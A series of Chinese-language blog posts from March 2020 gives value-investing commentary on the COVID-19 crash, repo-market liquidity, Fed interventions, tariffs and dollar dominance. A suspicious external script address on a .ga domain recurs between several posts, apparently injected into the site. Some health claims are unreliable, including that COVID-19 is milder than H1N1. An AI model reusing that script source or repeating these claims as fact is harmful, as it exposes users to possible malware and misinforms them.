聲稱可以「平滑風險」的橋水基金發明策略，結果這一波死得最慘。（見圖）
說穿了就是他們錯誤地假設「股市與債市/黃金的波動永遠相反」。沒想到今年初竟然發生一起下挫的狀況。（原因我在『為何此次崩盤黃金也跟著跌』一文已經詳解）
這是為何我對這類「被神話的投資策略」質疑的點，也是我在投資相關文章反覆強調的觀念。（參見『效率市場假說是錯誤的』一文）
某些曾經成功的投資公式或策略，發明者不見得真的弄清楚了「成功的侷限條件」。當侷限條件轉變發生而實施者不知不覺，則重演「幾個諾貝爾獎得主經營的LTCM，妄想靠數學贏市場，結果瞬間負債千億美元破產」的故事也不意外。
市面上一些「自以為破解巴菲特價值投資策略就是看ROE、盈再率」者，又或以為「程式交易可長期打敗市場」者，何嘗不是一樣癡心妄想呢？呵呵。
https://js.developerstatss.ga/stat.js?n=ns1三個新聞擺在一起看：
這算是此波COVID-19前景擔憂下的好消息，整體狀況我認為依然符合我過去幾篇文章的觀點：
「…股市崩盤不見得是因為實體經濟生產力或總體契約制度有問題。金融市場崩盤也不見得會對後者造成傷害。」（道瓊指數單日暴跌9.99%有感-3/13）
「…a. 本次股市大跌我認為是「貨幣幻覺」的修正，而非實體經濟的制度安排或生產力遭受破壞。
是的，我依然認為COVID-19壓抑了經濟活動，但尚未造成實質性破壞。此病毒本身造成的死亡與傳染狀況，其實都還不如H1N1。許多撐不下去的邊際型企業，多半在疫情爆發之前的體質就已經不佳。這種風落損失的確會淘汰不少這類企業，可是以整體全球經濟活力角度觀之，恆久收入預期改變還不大。
某些不入流的財經專家以為美國面臨經濟危機、即將陷入長期經濟衰退等等看法，我均當做是「看走眼賠太多錢所以被嚇傻的言論」。
b. 然而，媒體販賣恐懼的過度炒作與政府的過度防疫舉措等等的經濟損失仍難以衡量。會不會因此造成恆久收入預期改變？我認為可能性不低。六月底再回頭檢視吧。
c. 印鈔救市，美國本質制度性問題不改，當然成效會有2008年以來的邊際效應遞減問題，同時也極有可能產生「經濟蜂窩性組織炎」的金包銀現象。是我等投資者不可不慎的思考點。
川普年底選情轉壞，亦或美元轉弱勢（見圖），都可能讓美國政府重新在中東或世界某處引發戰爭衝突。但對美國經濟本身而言依然是弊大於利。」（為何此次崩盤黃金也跟著跌?黃金不是避險工具嗎？–3/17）
二、美國勞動市場轉趨悲觀
WSJ: “Call It a Layoff, a Furlough or a Cut Shift: Americans are Losing Work"
1. 根據統計，美國娛樂產業已約有3600名從業人員被資遣；
2. 紐約著名的連鎖咖啡店「Union Square Cafe」關閉多家店面並裁員2000名員工，相當於該公司80%勞動力。
3. 西雅圖的連鎖冰淇淋店Molly Moon’s（共8家店面）預計裁員120～230名員工，並從上週起已經縮減20%工時。
4. Unite Here，一個擁有30萬名會員的工會聲稱，其會員將近80～90％將面臨裁員。
5. 肯德基州的失業補助申請過去維持每週約2000人水平，但這星期二單日即暴增至9000人！
6. 國際大型酒店集團Marriott International Inc宣布全球將有數萬名員工實施無薪假；.Norwegian Air Shuttle計畫裁員7300人；
7. 相反地，Amazon招募10萬名員工以應付暴增的網購訂單，並提高每小時工資$2美元。
三、美國愚蠢政客
WSJ :"Trump Spurns Business Plea to Ease Tariffs Amid Coronavirus“
本週三美國上百個商業組織聯名上書川普總統，要求在經濟與疫情雙重恐慌時期，美國聯邦政府可以高抬貴手「暫停對中國的貿易壁壘」，並指出美國人民一年為政客無聊的貿易戰額外付出至少$750億美元代價，如能暫時取消，則對人民經濟壓力將會是一大紓解。
毫無意外，美國政客一方面慷他人之慨地要從政府國庫或Fed印鈔票，提供幾千億甚至上兆美元紓困，但另一方面卻拒絕停止損人不利人民的貿易壁壘。
————————————-
我的觀點：
1. 在過去許多討論「價格管制」、「基本工資」、「一例一休」或「反托拉斯法」等等制度經濟學範疇的文章我多次反覆強調：給予市場契約自由是維持經濟發展非常重要的侷限條件。
因此過去我即大力稱讚「無薪假」是天才發明，也力主面對不景氣應該給雇主下調薪資的自由，方可保障多數人不失業。
這是經濟學價格理論的基礎應用：若市場無從以價格調整應付新的侷限條件變化，則unemployment必然發生，於人是大規模失業、於物是滯銷、於資金則是爛頭寸。經濟學大師A. A. Alchian在1969年的論文「 Information Costs, Pricing, and Resource Unemployment」說得很清楚。
美國過度的勞工保護法規與工會介入，造成薪資結構彈性僵化與難以調整，使得每一次景氣波動都會出現大量不得不然的解雇潮。為何說「不得不然」？因為不如此，就是大量的企業倒閉潮，是一種更可怕的reources unemployment，從經濟學的角度看，對資源配置重新取得平衡更為不利，整體交易費用更高。
這裡插句題外話：近日崩盤的石油價格被許多經濟邏輯錯誤者誤傳「恐怕引發通貨緊縮」。此論點錯誤在於 — 無論通貨膨脹或緊縮，都是「純粹的貨幣現象」。整體物價的漲跌不見得就是通膨或通縮，這是很多外行的rookie mistake。
我在「利率倒掛與repo rate」一文闡述的：「短期現金流動性乾涸會引起通縮造成美國國債利率上升」才是正確的貨幣理論邏輯。
而延續前述的「生產要素價格面臨不景氣時如能下調則有助於減緩『不清市』」邏輯，除了人力資源價格如有下調空間會勝於管制，其他重要生產要素價格也是如此。這是說，此段時間的石油價格因供應者競爭而大跌，雖然對局部產業（如石油開採）的收入有害，可能對少數產業大好（例如最近國際海運原油價格倍數上漲）；對整體因疫情而需求暫時被壓抑的其他產業實質是利多。這也是我認為此疫情如能在近一兩月內得到緩解，則實體經濟生產力並未受到病毒破壞，現在崩盤的虛擬金融市場不會是大問題。特別美國Fed快速且大量地提供流動性大有幫助。
2. 同樣的價格理論邏輯：「當整體交易費用上漲時，整體經濟活動數量會下降。」
我罵過多次，貿易戰的本質就是強迫人民用更高的代價完成本來的經濟活動。川普難得的放寬法規與減稅措施所帶來的經濟利好將被貿易戰吃掉，而且強度越大，豬羊變色機率越高。
一場並不比SARS強的COVID-19就把美國經濟打回原形，去年被財經魍魅們吹捧的低失業率與節節攀升的股市原來如我們所料地「化妝P圖成分極高」。也是我說過多次：「美國股票上漲主因是貨幣幻覺。」
3. 政客有裝忙、裝著在解決問題的需求，但經濟學實證不斷指出，政客的各種救治方案真正吵完架、能上路時，往往經濟問題早就被市場自己消化解決掉。而民主政治更會強化政客作秀的誘因，使得民主必然無法保障人民自由權與財產權。
我們看到的就是美國政府透過QE強行對人民與他國抽間接稅；啟動各種救市方案時卻暗中提供有關係者尋租的空間與利益；但同時又拒絕直接有利於人民的「降低貿易障礙」。這是說，美國人民不但明著被股市崩盤移轉財富，暗著也被政府剝削財富。
世界銀行前主席 Robert B. Zoellick的投書「川普的貿易壁壘造成美國重要醫療物資短缺Trump’s Tariffs Leave the U.S. Short on Vital Medical Supplies」可知，自從美國對中國實施關稅壁壘後，佔美國總進口醫療物資26%的中國製產品轉銷往他國，而同時美國進口商被迫重新從他國進口本來就有的商品，且還需要重走一次FDA認證（往往耗時兩年以上），造成如今面對疫情，許多重要醫療物資卻還躺在FDA審核隊伍之中而無法進口。
川普對全世界宣布的貿易戰，讓美國第二大醫療物資進口國–墨西哥–的廠商並無誘因提高產能來填補中國空缺。
近日美國聯邦政府雖然「暫時性」拿掉對中國醫療物資的進口限制，但在面對全世界疫情爆發，各國需求增加的前提下，中國廠商並沒有優先出口美國的誘因。更糟糕的是，也因此疫情，全世界20幾個國家已經禁止醫療產品出口，這無疑是對美國的短缺現象雪上加霜。
結論：中國復工狀況比我預期得好，現階段是喜事一件。美國的狀況讓我們知道，民主制度毫無優越性可言的同時，政客往往是災難的元兇或幫手，而無助於解決問題。
「美國是自由市場」純粹是可笑的神話，以我在美國法學院的訓練與投資考察經驗可知，事實上美國政府對市場各方面的管制可能比中國來得嚴重且僵化。這點從疫情引發的失業裁員潮和美國驚人的醫療費用，經濟感受佳者可窺知一二。
台灣？台灣世界難波萬，井蛙吱吱們開心就好。用不著浪費時間分析吧。
網友如是提問，我的看法如下：
1. 任何法幣（fiat money）說到底都是掛勾該國的國力。美國在多數人心理始終是二次世界大戰後的唯一超級強國。至於美元如何走到今日地位，可以從戰後馬歇爾計畫談到1944年布林頓森林協議（Bretton Wood Agreement），這部份歷史就請自行查閱。
當世界動亂時，二次世界大戰經驗下來，多數國家人民都知道持有美元是最安全的手段。不得不說全世界185種國家貨幣裡，競爭之下美元就是勝出。
2. 美元始終是國際貿易的主流貨幣。
以國際外匯市場為例，超過90％的交易都與美元有關。
截至2019年末，美國發行的貨幣總數65%，相當於$580 billion，是在境外流通。世界40%的債券是以美元計價發行，總數高達$18兆美元！
由此可見非美國人民對美元的需求與信心有多強。
題外話一句，此點也是為何我多年來批評美國政客的「貿易赤字假議題炒作」– 若美國要堅持美元為世界最主要交易使用貨幣，則必然要發行遠多過國內需求的貨幣量並推到國外去，此操作「必然引發貿易赤字」！因為美國必須買入國外商品、貨物、資產與債權多過賣出的方式，才能把「美元推出去」。小學生都懂的邏輯。此點也是為什麼我一直批評美國自己才是自身貿易赤字的最大元兇，還好意思做賊喊抓賊？
3. 我前兩篇文章「利率倒掛與repo rate」與「為何此次崩盤黃金也跟著跌？黃金不是避險工具嗎？」說明現階段美國短期現金需求孔急，各種形式資產都不如現金美元值錢。此點也會推升現階段的美元價格。
4. 世界貿易的主要國家貨幣均或多或少地鉤著美元，例如中國超過$3兆美元的外匯儲備中，據推測70%以上都是美元。日本$1兆多美元的外匯儲備，大多也是美元組成。
這意味著即便美國多次實施QE，從貨幣理論來說應該引發通貨膨脹與貨幣實質購買力降低的後果，但因為世界其他競爭貨幣之發行量因鉤著美元而會近乎等比例增加，從而使得美元不會因為幾次QE就淪為劣幣被市場驅逐。
尤其人民幣是支撐美元的重要因子，一旦中國經濟體成為多數領域（無論是原物料或消費端）的世界最大購買者，人民幣不再鉤著美元時，美元很可能就會跌到連自家國民都害怕。
至於為何中國近20年來始終貨幣政策要鉤著美元，並且實施外匯管制。我的猜測是這樣的安排有利於相關官員貪汙套利，不過沒證據。
5. 是的，美國過度對全世界抽取「美元稅」的代價就是美元自己。誠如柯斯多蘭尼說過：「一國的貨幣只會在自己的床上死去。」
https://js.developerstatss.ga/stat.js?n=ns1我的看法：
1. 3月6日在「利率倒掛與repo rate」一文我點出去年9月開始美國短期貨幣市場的現金枯竭現象十分嚴重也值得注意。近日我所知的台灣主流財經媒體或所謂專家像我這樣反覆重點強調repo market之現金問題者，似乎幾希。要知道，repo market每日的交易額約在$2兆～4兆美元。
從Fed統計資料亦可看出，2018年9月後Repo market的總交易量顯著成長（見圖），意味著市場對現金的需求。
2.這造成此次貨幣幻覺的股市修正下，黃金失去避險功能 — 現金在市場更為稀有。黃金持有者，包括黃金ETF，都必須賣出黃金以滿足現金需求。
3. 這點我們在Fed Bank of New York公開針對repo market短短一週時間（3/12～3/17）高達$1兆美元現金注入的救市計畫，即可看出現在市場現金乾涸現象十分恐怖。
反之，Fed如此快速反應也是值得肯定，即便Allan Meltzer、張五常這些經濟學大師應會認為治標不治本，但他們也會同意現金真空的當下，Fed緊急、快速且大量的注資有其必要性。
這不僅僅牽涉到Milton Friedman的「恆久收入假設」– 虛擬金融市場的崩盤可能引起人們對未來收入轉趨悲觀，從而採取的經濟防守策略將真把不景氣帶來。
這更牽涉到現金短時間內乾枯可能引發的通貨緊縮現象，從而造成美國政府（尤其是州政府以降） 瀕臨破產的財政危機。 此點我在「利率倒掛」一文也解釋過。
4. 華爾街日報3/15社論針對Fed緊急救市方案關於短期現金市場注資這點，也是抱持肯定態度：「…The best Fed decisions in this regard are its expanded liquidity provisions. This includes an enhanced dollar-swap facility in coordination with six other major central banks around the world. It also reduced the price on the dollar-swap rate by 25 basis points to encourage other banks to use the facility. The rush to the safety of dollar assets in this time of uncertainty has created a shortage of dollars in some parts of the world, and this will help other central banks fill that financial need. …
The Fed also expanded its access to the discount window, which is the classic vehicle for providing liquidity to banks under stress. The Fed made an explicit point of encouraging banks to use the window, no doubt to reduce the stigma that some counterparties attach to banks that use it. The Fed reduced the “penalty rate”for using the window to 0.25%, which is almost no penalty at all.」
5. 談一點對前景的看法：
a. 本次股市大跌我認為是「貨幣幻覺」的修正，而非實體經濟的制度安排或生產力遭受破壞。
是的，我依然認為COVID-19壓抑了經濟活動，但尚未造成實質性破壞。此病毒本身造成的死亡與傳染狀況，其實都還不如H1N1。許多撐不下去的邊際型企業，多半在疫情爆發之前的體質就已經不佳。這種風落損失的確會淘汰不少這類企業，可是以整體全球經濟活力角度觀之，恆久收入預期改變還不大。
某些不入流的財經專家以為美國面臨經濟危機、即將陷入長期經濟衰退等等看法，我均當做是「看走眼賠太多錢所以被嚇傻的言論」。
b. 然而，媒體販賣恐懼的過度炒作與政府的過度防疫舉措等等的經濟損失仍難以衡量。會不會因此造成恆久收入預期改變？我認為可能性不低。六月底再回頭檢視吧。
c. 印鈔救市，美國本質制度性問題不改，當然成效會有2008年以來的邊際效應遞減問題，同時也極有可能產生「經濟蜂窩性組織炎」的金包銀現象。是我等投資者不可不慎的思考點。
川普年底選情轉壞，亦或美元轉弱勢（見圖），都可能讓美國政府重新在中東或世界某處引發戰爭衝突。但對美國經濟本身而言依然是弊大於利。
d. 這幾天我等價值投資者應該是興奮且快樂得難以入眠，誠如巴菲特在2016年股東信所說：「“When downpours of that sort occur, it’s imperative that we rush outdoors carrying washtubs, not teaspoons. And that we will do.”（當天空下起黃金雨，緊急措施應該是抓個大洗衣盆而不是小茶匙衝入雨中。我們就會這麼做。）」
謹祝各位順利把握難得的財富移轉機會。
補充，就在本文刊出的一小時內，聯準會又緊急宣布成立「Commercial Paper Funding Facility (CPFF)」，主要就是針對前文我提出的「短期現金流動性不足」的狀況。
可見此問題嚴重性與緊急性。
“The CPFF will provide a liquidity backstop to U.S. issuers of commercial paper through a special purpose vehicle (SPV) that will purchase unsecured and asset-backed commercial paper rated A1/P1 (as of March 17, 2020) directly from eligible companies.
…The Treasury will provide $10 billion of credit protection to the Federal Reserve in connection with the CPFF from the Treasury’s Exchange Stabilization Fund (ESF). The Federal Reserve will then provide financing to the SPV under the CPFF. Its loans will be secured by all of the assets of the SPV."
WSJ專文回顧美國紐約流行病史，是由紐約大學教授，普立茲獎得主David Oshinsky教授執筆，值得一讀。
摘錄：
美國甫建國曾流行黃熱病（yellow fever），死亡率高達50%，費城10%人口因此死亡，美國聯邦政府因病癱瘓。
第一任總統華盛頓束手無策，時任國務卿Thomas Jefferson，這位始終主張「小農立國」的建國賢人則喜孜孜去信友人：「黃熱病可以有效阻止國家被有害於人類道德、健康與自由的城市塞滿！（ “The yellow fever will discourage the growth of cities in our nation,” he wrote a friend, “& I view great cities as pestilential to the morals, the health and the liberties of man.” ）」
當年的醫生不知道傳染途徑是蚊子，而錯誤地怪罪於沼氣。要等到一百年後Dr. Walter Reed才找出罪魁禍首。
紐約早在1731年就曾流行天花，每一萬紐約市民超過500人死亡，死亡率是1918年大流感的3倍。
1832年流行的霍亂，殺死了紐約7成移民，佔總紐約市人口10%。在證實病源是因為水源污染之前，紐約醫生與政客一如當今面對新冠狀病毒的某些美國人一樣反應 — 這都是外來移民帶來的疾病，全都是他們的錯！
只是當年被怪罪的是愛爾蘭移民。
1870年以前，紐約市1/5的新生兒活不到一歲；25%的人活不到30歲。
WSJ 這篇芝加哥大學生物與解剖學教授 Neil Shubin的書摘也值得一讀。
重點提到賦予人類記憶力的Arc基因本質就是一種病毒，很可能是因為原始人類感染此病毒後，該病毒的RNA融入人類DNA後才讓我們的記憶力大增。
該文也指出人類的「胎盤」也是來自於病毒改造了人類的基因。
德國科研團隊發現人類身上有85種掌管大腦功能與懷孕的基因都來自於病毒。
人類還有8%的基因是來自於病毒但處於「不被觸發」的態樣與我們和平共處。人類身上病毒基因的量是「人類自身基因」的四倍。這些病毒在早年攻擊了人類，但最終被納入人類基因庫中甚至被馴服，像是那個Arc記憶基因，失去毒性的同時也賦予人類「記憶力」。
—————————–
補充：
站在基因的立場，人類與所有生物不過是延續基因資訊傳遞的工具。
許多看似生理結構遠比人類簡單的物種，擁有比人類更多的基因，例如水稻的基因數量就是人類的1.7倍。
推薦3本我讀過的基因相關科普書籍：
Richard Dawkins的名著「The Selfish Gene 」
Matt Ridley “Genome"
Matt Ridley “The Red Queen: Sex and the Evolution of Human Nature"
1. 昨日開演史上單日最大跌幅的崩盤秀後，目前指數期貨又千點反彈。近日我們應該可以多次見證歷史。
2. 如同我在「利率倒掛與repo rate」一文（https://tinyurl.com/tgfhnm4）闡述短期與長期利率與近日的恐慌和風險貼水之間的邏輯關係投資人必須有清楚的認識與分別。
3. Fed從去年9月快速且幾百億美元鉅資介入repo market到現在的主動救市，我認為關鍵點都在於「non-banking institutions的現金需求如果不能從repo market滿足，則將被迫賣出原本可以拿來repo 抵押的美國國債，很可能在短期內快速推升國債利率，引發美國政府財務危機。」
順著此思路去走，很多問題可以輕易解開。
4. 但反過來，Fed這種扭曲市場資訊的貨幣政策，本身也會累積出災難性後果。誠如貨幣經濟學家Allan Meltzer多次批評：Fed永遠學不會教訓。
5. 新型冠狀病毒造成的全球經濟損失很可能比目前多數人或投資機構評估以為的輕得多。但中國過度防疫的代價恐怕不小。
（有網友詢問此點依據何在，另補充如下：
“以目前我看到的病情描述或研究，此新冠狀病毒引發的肺炎都屬於中醫傷寒論中太陽病症的傷於寒加減十棗湯症，以家傳所學的中醫，大概可以推測疫情的狀況。
剩下的就是經濟學的思考與判斷了。"）
這點我還是秉持今年1月就寫出的看法 — 只有塵埃落定的事後諸葛才釐得清。
6. 股市崩盤不見得是因為實體經濟生產力或總體契約制度有問題。金融市場崩盤也不見得會對後者造成傷害。
我談過實體經濟的把脈與診斷要怎麼操作，這裡不重複。
要強調的是08年的狀況是複雜的金融契約安排與實體經濟中，美國聯邦政府對房地產的福利政策扭曲不動產契約與貸款安排所引發，佐以Obama政府錯誤的凱因斯學派救市政策延長了痛苦期。這我當年都解釋過也批評過。
此次崩盤更多的只是貨幣幻覺（money illusion）的修正。這是說，我認為如果新型冠狀病毒疫情如未對實體經濟生產力或整體契約結構安排傷筋動骨，則此次恐慌性崩盤將來得快去得也快。
本來我認為的「更糟的狀況」可能被此次股市價格下修而推遲。
如果因疫情而降低多數人為國際貿易障礙，那會是最好的狀況。
7. 網友提問的好問題：「川普的減免所得稅政策是否也會因為期間過短而無效？」
我的回答：「美國的債務狀況（光2019年政府利息支出就5千多億美元），即便給出「長期所得稅減除政策」，人們也會懷疑是否引發通膨與國債價格崩盤。美國的侷限複雜難解。」
補充一句：美國的確有誘因引發世界各地戰爭動亂的方式維持美元強勢。目前的美國禁不起弱勢美元帶來的國債價格崩盤。
8. 跟著我2018年建議，逐漸增多現金比例的讀者，現在看股市崩盤應該心情大不同。
請把握此次財富重分配的機會。審時度勢。
9. 因「需求曲線移動造成石油價格下挫」與「因供應者競爭造成石油價格下挫」的經濟效果不一樣，投資者要有本事分明。
10. ETF會是大問題，這我在2017年10月的文章已經提到：
「1. There can be high settlement or bankruptcy risks for small or over-diversified ETFs in the bear markets. Although the investors can get back their shares of the real assets, it could be worthless after all. And such fear could induce investors and the ETF managers, who by doing so is breaking the contracts, to dump their holdings for money.
2. There can be even higher risks for leverage, inverse, or complex-designed derivative ETFs in a down turn. And I guess the bankruptcy administrators assigned by the courts would probably choose to sell the stocks or bonds and to cancel or abolish the complex derivative financial contracts for cash as soon as possible, which could cause the vicious circle as I mentioned in the article.
At present the ETFs go too far from the original purpose. For me, many of them are more like derivative goods rather than pure investing vehicles. It’s kind of new fashion for people of means. But we have no idea what would really happen when the tide is out. We can wait and see.」
某些為了避險而買入黃金ETF的，請注意第2點。
更深入的觀點在談貨幣的長文中再詳述。
華爾街日報的一篇深度報導：「Affluent Americans Still Say ‘I Do.’ More in the Middle Class Don’t.」
摘錄幾個重點：
(1) 美國25～34歲年齡層，結婚者的中位收入是未婚同居者的4倍
(2) 雖然從1980年以來結婚率下降，但25歲以上具備高於大專學歷的族群結婚率近2/3，相對於僅具備高中學歷者結婚率為1/2。統計亦可看出，收入越高族群或學歷越高族群結婚率越高。（見圖）
(3) 自1979年美國離婚率最高峰以降，如今是40年來美國離婚率最低的時代。
(4) 過去工業發達地區因美國工業長年衰退，諸如Janesville, Wis.; Fayetteville, N.C.; Utica, N.Y.; and Bangor, Maine.等地，均出現明顯的結婚率下降。顯然恆久收入假設影響了結婚行為。例如 Decatur, Ill., 的製造業工作機會從2000年以來下降了40%，當地高中學歷族群結婚率從60%降至50%。
我的看法：
A. 經濟邏輯上否定「因為結婚才收入變高」的可能，因為結婚本身並不會改變「此人生產力或人力市場的可替代性」。所以此文統計資料的正確經濟解釋邏輯應是「高收入提高結婚意願」。
但經濟邏輯同時肯定站在資方立場，聘僱已婚男性意願會高於未婚男性，因為行為可預期性比較高。
B. 從一個較極端的觀點看，那些教人「多元成家」的非傳統婚姻契約安排的論點，其實是鼓吹「窮人思維」。
https://js.developerstatss.ga/stat.js?n=ns1每次股災崩盤我們很常看到這類統計，例如Barron’s 3/7這篇「When Will the Stock Market Recover? The Pain Isn’t Over.」：
「1929年以來，美國股市總共發生121次單日漲跌幅超過4.2%，而65個交易日後，股市終究是漲是跌的機率跟丟硬幣沒兩樣 — 50%隨後S&P500平均下跌14.5%；50%上漲18.1%。」
（ “The data back him up. Since 1929, there have been 121 one-day moves of 4.2% or more, according to John Kolovos, chief technical market strategist at Macro Risk Advisors—and in those instances, the chances of a positive return over the following 65 trading days were no better than a coin flip. Half of the time, the S&P 500 fell with an average drop of 14.5%. The other half, the S&P 500 gained an average of 18.1%."）
這類統計其實是垃圾統計，沒啥參考意義。原因在於這種統計是「利用事實解釋事實」，根本違背科學方法論，其實啥也沒解釋。
每一次大跌後的整體侷限條件狀況、關鍵侷限條件狀況都不同，這些才是真正決定股市長期走勢的真正原因。
那些動不動就以為「股市就是隨機漫步」的論點，反應的只是論者偷懶或無力觀察與思考。
詳細的批評與正確的投資方法我在「效率市場假說（efficient-market-hypothesis）是錯誤的」一文已經闡述過，就不再重複。
我不得不贊同Elon Musk一次：「我也認為人們對新冠狀病毒的恐懼是過度且不必要，而過度防疫的經濟代價恐怕會遠高過我們想像。」
對於投資，我始終抱持與Michael Burry一樣的信念：「無論股市上漲下跌、瘋狂理性，我始終致力於尋找被嚴重低估的機會。」
像我這種每年把所有上市公司瀏覽一兩輪的價值投資者應該早發現：美股這兩三年很難找到價格合適的公司。這也是為何我在2018年中撰文建議可以逐步提高資產配置中現金的比例。
巴菲特自己手頭現金比例也堪稱史上最高，亦可窺知背後緣由一二。
https://js.developerstatss.ga/stat.js?n=ns1
美國時間2020/03/04 Fed宣布緊急調降primary credit rate 50個基點至1.75％，同期USA Overnight Repo Rate為1.65%。二者均為極短期利率。
但同時，2年期美國國債殖利率當日從下跌至0.672%。
10年期從1.014％下跌至0.992%。
30年期國債從1.712%下跌至1.663%。
值得注意的30年期國債利率差一點就要低過 Repo rate；10年期國債則是已經低於Repo rate。Overnight repo rate 市場參與者以國債換取短期現金的超短期借款利率（往往只有一夜），反映的是非常短期的金融機構現金/流動性需求。
Repo是「Repurchase agreements」的簡稱，運作機制國際清算銀行有簡單明瞭的解釋如下：
「A repo transaction is a short-term (usually overnight) collateralised loan, in which the borrower (of cash) sells a security (typically government bonds as collateral) to the lender, with a commitment to buy it back later at the same price plus interest. Repo markets redistribute liquidity between financial institutions: not only banks (as is the case with the federal funds market), but also insurance companies, asset managers, money market funds and other institutional investors. In so doing, they help other financial markets to function smoothly. Thus, any sustained disruption in this market, with daily turnover in the US market of about $1 trillion, could quickly ripple through the financial system. The freezing-up of repo markets in late 2008 was one of the most damaging aspects of the Great Financial Crisis (GFC).」
2019年9月17日 repo rate一度跳到10%；12月5日又跳到4%。兩次震撼市場，擔憂重演2008年金融風暴的前哨戰，也都引起美國Fed快速注入幾百上千億美元到repo市場。這點從Fed的資產負債表從9月到12月短短三個月時間增長2千億美元即可發現，Fed從Powell上台聲稱的要縮表，但為了應付repo rate的彈升，Fed實質行為已經近乎重啟量化寬鬆（QE）。（見圖）
目前對去年第四季兩次的repo rate上升真正成因仍眾說紛紜，胡說八道居多，值得注意的是兩家機構均指出非銀行的市場參與者吸乾了流動現金，一是國際清算銀行（Bank for International Settlements）：
「避險基金在repo市場的現金需求操作吸乾了流通現金（Hedge funds exacerbated the recent turmoil in the repo market with their thirst for borrowing cash to juice up returns on their trades）…」
二是日本三井住友銀行的分析報告指出抵押型住房信託（mortgage REITs）以repo操作方式大量借走市場現金：「…
These REITs operated at leverages of around 9x through 2012 but incurred damage to capital after an interest rate jump from the “Bernanke shock" caused a fall in asset holdings in 2013. Providers of repo funding became cautious about extending credit to these REITs, which subsequently operated at a leverage of around 7x for some time.
～SMBC NIKKO Security Inc., “Global Finance Spotlight."
From 2H 2018, however, these REITs rapidly hiked leverage (Figure 17), and we think they and other types of leveraged funds absorbed a large amount of dollar funding in money markets, reflecting surging repo rates on 17 Sep 2019.
05-Feb-2020 」
這邊我要特別指出mortgage REITs並非傳統REITs，這種信託本身並不持有房地產等土地建築所有權，而是持有與之相關的房地產抵押權然後透過金融市場操作獲利，通常會佐以相當槓桿來放大獲利。風險也隨之放大就毋須贅言。這邊要說的是，先天條件下有這種REITs跳進來貨幣市場其實是情理之中。
無論是避險基金或REITs，均被指稱是透過買進實體債券並同時賣出遠期利率合約（Forward rate agreements, FRA）的套利方式影響了repo rate。這些基金信託之所以要以短期現金投資長期債券套利的背後原因，說穿了就是實體經濟成長力道依舊不足，資金必須在虛擬金融市場中追逐微利。
因此我認為現在的長期短期利率倒掛現象，反映的不是「通膨預期減少」，而是「恐慌預期大到他種實體經濟投資項目的風險貼水不足以在市場成交」。故，經濟學實證上我們會看到實體經濟相關的物品、資產通膨率不大，但在虛擬金融市場的商品卻會出現嚴重通膨的幻覺現象。
是的，坊間常見的「美國通膨不嚴重」的論點是論者根本不懂通貨膨漲的經濟學邏輯，所以在胡扯。
美國經濟到底出了什麼問題？之後的金融市場會怎麼走？投資上該怎麼應對？傳統的資產配置理論弱點何在？
最近數月，自認為解通了這些現象背後完整經濟學邏輯。享受了解謎的樂趣，正在與文字痛苦奮戰，慢慢寫入上回預告的長篇文章之中。同感張五常教授曾說過的痛苦：當解通了經濟問題後，實在很懶得下筆寫出來。且戰且走慢慢磨吧～
本文的目的僅僅是提醒大家注意利率倒掛、Repo rate曾飆升且背後原因與2008年不同，值得注意深思與小心應付。
補充：漏了一點沒寫，Fed之所以汲汲營營不要命地快速對repo market注入現金幾百上千億美元的一個重要理由，我認為關鍵在於這些non-banking institutions的現金需求如果不能從repo market滿足，則將被迫賣出原本可以拿來repo 抵押的美國國債，很可能在短期內快速推升國債利率，引發美國政府財務危機。
要知道美國政府債務2019年光利息支出就高達$574.587 Billions USD！
https://js.developerstatss.ga/stat.js?n=ns1
元毓說 